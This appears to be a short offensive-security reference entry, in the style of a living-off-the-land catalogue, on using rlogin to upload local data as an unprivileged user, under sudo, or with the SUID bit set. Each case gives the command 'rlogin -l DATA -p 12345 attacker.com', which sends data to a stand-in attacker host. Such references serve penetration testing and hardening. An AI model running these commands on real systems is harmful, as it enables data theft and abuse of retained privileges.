This executable can upload local data.
This function can be performed by any unprivileged user.
rlogin -l DATA -p 12345 attacker.com
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
rlogin -l DATA -p 12345 attacker.com
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
rlogin -l DATA -p 12345 attacker.com